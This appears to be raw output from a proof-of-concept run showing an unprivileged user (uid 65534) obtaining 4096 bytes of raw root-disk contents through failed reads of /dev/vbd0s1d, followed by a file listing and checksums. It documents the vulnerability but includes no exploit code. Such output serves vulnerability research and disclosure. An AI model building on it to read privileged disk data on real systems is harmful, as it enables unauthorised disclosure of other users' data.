poc: uid=65534 euid=65534 test=3
T3: reference = 131072 bytes of raw /dev/vbd0s1d
T3 attempt   1: errno=5 matched=0 bytes of root's disk data in our buffer
T3 attempt   2: errno=5 matched=0 bytes of root's disk data in our buffer
T3 attempt   3: errno=5 matched=0 bytes of root's disk data in our buffer
T3 attempt 426: errno=5 matched=4096 bytes of root's disk data in our buffer
T3 RESULT: CROSS-CONTEXT LEAK at attempt 426 -- unprivileged FAILED read disclosed 4096 bytes of raw root-disk contents
===
poc: uid=65534 euid=65534 test=3
T3: reference = 131072 bytes of raw /dev/vbd0s1d
T3 attempt   1: errno=5 matched=4096 bytes of root's disk data in our buffer
T3 RESULT: CROSS-CONTEXT LEAK at attempt 1 -- unprivileged FAILED read disclosed 4096 bytes of raw root-disk contents
-rw-r--r--  1 nobody  wheel  131072 Sep  4 13:51 /tmp/dfp_leak_t3.bin
MD5 (/tmp/dfp_leak_t3.bin) = 95dd0cff977b7c941ca70d6cca967f78
MD5 (/tmp/dfp/disk_ref.bin) = 94228f6740e25b115f5a088d613c208c